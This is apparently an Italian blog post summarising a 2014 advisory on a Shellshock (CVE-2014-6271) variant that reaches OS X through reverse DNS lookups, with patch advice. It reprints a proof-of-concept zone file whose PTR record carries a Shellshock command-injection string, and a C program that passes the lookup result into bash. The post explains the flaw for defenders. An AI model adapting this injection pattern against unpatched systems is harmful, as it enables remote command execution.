Seguici su Telegram, ne vale la pena ❤️ ➡ @trovalost
Vai al contenuto

OS X 10.9 vulnerabile a Shellshock tramite DNS reverse lookup

Ieri è stato pubblicata una nuova falla informatica, l’ennesima che riguarda ShellShock, a cui i sistemi operativi della Apple sono vulnerabili senza l’applicazione dell’apposita patch che è stata rilasciata (link). Il security advisory, di fatto, descrive un potenziale attacco informatico mediante record DNS, in particolare nella variante reverse DNS, come possibile veicolo di infezione di malware e script malevoli arbitrari (DNS Reverse Lookup as a vector for the Bash vulnerability – CVE-2014-6271 et.al.).

Come sappiamo Shellshock, noto a volte anche come Bashdoor, è un’intera famiglia di bug di sicurezza che sfrutta una caratteristica di molti sistemi Linux e UNIX (anche Mac, quindi, per quanto nelle versioni client relativamente mitigata) che è stata scoperta pubblicamente il 24 settembre di quest’anno, e che interessa molti dispositivi connessi ad internet (server di vario genere, cosଠ“l’internet delle cose). Risulta possibile, ad un attaccante, sfruttare alcune caratteristiche del server web attaccato come la cgi-bin oppure DHCP per eseguire, manipolando variabili d’ambiente, comandi arbitrari con gli stessi privilegi dell’utente connesso in quel momento. Quello riportato in questa sede è un nuovo possibile vettore d’attacco, che sfrutta il reverse DNS lookup basandosi sul fatto che quelle informazioni vengano trasmesse alla variabile di ambiente che non viene parsata correttamente dalla shell.

Tutte le versioni di OSX 10.9 e 10.10/R2 sono affette da questo tipo di problema, e la soluzione è quella di installare la patch rilasciata dalla Apple ufficialmente. Altri sistemi operativi come RHEL6, Centos, FreeBSD 7 non presentano invece questo problema poichè vengono sfruttati meccanismi di escape che aggirano il problema lato codice. Per risolvere la falla è necessario filtrare opportunamente il traffico DNS al sito.

Un esempio di attacco è il seguente:

$TTL 10;
$ORIGIN in-addr.arpa.
@ IN SOA ns.boem.wleiden.net dirkx.webweaving.org (
666 ; serial
360 180 3600 1800 ; very short lifespan.
)
IN NS 127.0.0.1
* PTR "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"

che può essere utilizzato con il seguente frammento di codice C:

#include <sys/socket.h>
#include <netdb.h>
#include <assert.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(int argc, char ** argv) {
struct in_addr addr;
struct sockaddr_in sa;
char host[1024];

assert(argc==2);
assert(inet_aton(argv[1],&addr) == 1);

sa.sin_family = AF_INET;
sa.sin_addr = addr;

assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa,
host, sizeof host, NULL, 0, NI_NAMEREQD));

printf("Lookup result: %s\n\n", host);

assert(setenv("REMOTE_HOST",host,1) == 0);
execl("/bin/bash",NULL);
}

Da non perdere 👇👇👇

Ti potrebbe interessare:  L'hardware in dotazione alla NASA è meno performante di quello di uno smartphone moderno


Questo sito esiste da 4439 giorni (12 anni), e contiene ad oggi 4022 articoli (circa 3.217.600 parole in tutto) e 12 servizi online gratuiti. – Leggi un altro articolo a caso
Non ha ancora votato nessuno.

Ti sembra utile o interessante? Vota e fammelo sapere.

Questo sito contribuisce alla audience di sè stesso.
Il nostro network informativo: Lipercubo.it - Pagare.online - Trovalost.it.